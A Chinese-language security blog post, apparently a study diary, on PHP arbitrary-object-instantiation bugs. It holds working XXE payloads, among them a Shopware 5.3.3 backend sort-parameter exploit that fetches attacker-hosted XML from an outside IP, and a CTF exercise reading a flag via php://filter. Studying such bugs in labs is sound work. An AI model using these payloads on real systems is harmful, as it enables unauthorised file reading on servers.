文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-14   2k

PHP代码审计学习Day3——实例化任意对象漏洞

0x01 Snow flake

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $data;

public function __construct($data) {
$this->data = $data;
}

public function render() {
if ($this->data['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}

class_exist()文件包含漏洞

首先来看class_exist()的定义:

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue ,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

上面这个例子中,class_exist()会直接调用__autoload()函数,而__autoload()函数的参数可以用户可控的,攻击者可以使用路径穿越来包含任意文件。

使用路径穿越符号的前提是PHP版本小于5.4

SimpleXMLElementXXE漏洞

第9行代码中,实例化类的类名和参数均在用户控制之下,那么攻击者就可以通过这个漏洞,调用PHP代码库的任意构造函数。也可以使用PHP内置类SimpleXMLElement进行XXE攻击,进而读取文件内容和命令执行(PHP安装expect扩展)。

SimpleXMLElement :(PHP 5, PHP 7)

功能 :用来表示XML文档中的元素,为PHP的内置类。

用法也比较简单,直接传入一个包含恶意payload的XML代码即可。

1
2
3
4
5
6
7
8
9
10
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///E:/phpStudy/PHPTutorial/flag.txt">
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);

0x02 实例分析

这次的实例分析用到的是Shopware 5.3.3版本,后台代码其中有一处提供了动态新建类的函数,然而并没有对新建的类进行限制,由于新建的类名和传递的参数都是我们可以控制的,从而造成漏洞。入口点是在engine\Shopware\Controllers\Backend\ProductStream.php文件中有一个loadPreviewAction方法,作用是用来浏览产品流的详细信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application
{
public function loadPreviewAction()
{
$conditions = $this->Request()->getParam('conditions');
$conditions = json_decode($conditions, true);

$sorting = $this->Request()->getParam('sort');

$criteria = new Criteria();

/** @var RepositoryInterface $streamRepo */
$streamRepo = $this->get('shopware_product_stream.repository');
$sorting = $streamRepo->unserialize($sorting);

foreach ($sorting as $sort) {
$criteria->addSorting($sort);
}

$conditions = $streamRepo->unserialize($conditions);

foreach ($conditions as $condition) {
$criteria->addCondition($condition);
}
}

该方法接收从用户传来的参数 sort ,然后传入 Repository 类的 unserialize 方法,继续跟进unserialize()方法,实际上是调用 engine\Shopware\Components\LogawareReflectionHelper.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function unserialize($serialized, $errorSource)
{
$classes = [];

foreach ($serialized as $className => $arguments) {
$className = explode('|', $className);
$className = $className[0];

try {
$classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
} catch (\Exception $e) {
$this->logger->critical($errorSource . ': ' . $e->getMessage());
}
}

return $classes;
}

这里的 $serialized 就是我们刚刚传入的 sort (上图第3行),程序分别从 sort 中提取出值赋给 $className$arguments 变量,然后这两个变量被传入 ReflectionHelper 类的 createInstanceFromNamedArguments 方法,继续跟进这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className);

if (!$reflectionClass->getConstructor()) {
return $reflectionClass->newInstance();
}

$constructorParams = $reflectionClass->getConstructor()->getParameters();

$newParams = [];
foreach ($constructorParams as $constructorParam) {
$paramName = $constructorParam->getName();

if (!isset($arguments[$paramName])) {
if (!$constructorParam->isOptional()) {
throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
}
$newParams[] = $constructorParam->getDefaultValue();

continue;
}

$newParams[] = $arguments[$paramName];
}

return $reflectionClass->newInstanceArgs($newParams);
}
}

函数的第一行就是创建了一个反射类,而类名就是来自我们传入的sort参数。最后一句return时根据参数newInstanceArgs创建了一个新的实例对象,参数newInstanceArgs是从$arguments[$paraName]中取值,并且$arguments是用户可控的,那么当我们传入类名为SimpleXMLElement时,实例化后,会将传入的参数进行xml解析。

中间的那一段for循环,大概意思就是如果没有传入非可选参数时直接报错,没有传入非可选参数时会赋默认值。

具体的分析文章:https://www.freebuf.com/vuls/154415.html

0x03 漏洞利用

搭建这个环境花了我一天的时间,最后还是用的其他师傅已经做好的docker镜像跑起来的,但是这个环境还是没有办法调试。

环境:

Windows 10 2004

Docker 2.2.0.5

搭建步骤:

docker pull gaoxijiejie/shopware:okay

docker run -i -t -p 8000:80 gaoxijiejie/shopware bash

当我们点击 Refresh preview 按钮时,就会调用 loadPreviewAction 方法,用BurpSuite抓到包如下:

其中主要就是sort参数的值:

1
%7B%22Shopware%5C%5CBundle%5C%5CSearchBundle%5C%5CSorting%5C%5CPriceSorting%22%3A%7B%22direction%22%3A%22ASC%22%7D%7D

Url解码:

1
{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"ASC"}}

为了构造类似的payload,先来查看SimpleXMLElement类的构造函数:

1
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )

为了减少Payload的长度,我们要传入data_is_url=TRUE使得可以用URL传入恶意XML数据,那么Payload如下:

1
{"SimpleXMLElement":{"data":"http://172.19.14.43:8000/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}

xxe.xml文件内容

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>

当然这个是属于Blind XXE,是没有回显的,只能用外部DTD来外带数据,但是这种没能复现成功,而且也不能调试,蛮遗憾的。

0x04 练习题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

根据上面的知识储备,我们在上图第18行处可以看到使用了 class_exists 函数来判断类是否存在,如果不存在的话,就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息。

PHP 自动加载 深度总结

首先我们用GlobIterator 类搜索flag文件名字,构造方法如下:

1
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我们用它的默认值CURRENT_AS_FILEINFO即可,payload如下:

1
http://localhost/PHP-Audit-Labs/Day3/index.php?name=GlobIterator&param=./*.php

第二步用SimpleXMLElement类读取flag,这里因为文件中存在< > & ' "符号,所以需要对读取的数据进行base64编码,不然会导致XML解析失败,payload:

1
http://localhost/PHP-Audit-Labs/Day3/index.php?name=SimpleXMLElement&para=?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpstudy/PHPTutorial/WWW/PHP-Audit-Labs/Day3/f1agi3hEre.php">]><x>%26xxe;</x>&para2=2

第一个参数的内容:

1
?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpstudy/PHPTutorial/WWW/PHP-Audit-Labs/Day3/f1agi3hEre.php">]><x>%26xxe;</x>

第二个参数实际上这里2对应的模式是 LIBXML_NOENT,因为在libxml>=2.9.0以后的版本默认不开启外部实体解析,需要添加这个参数开启。

Copyright © ca01h 2019-2020 | 本站总访问量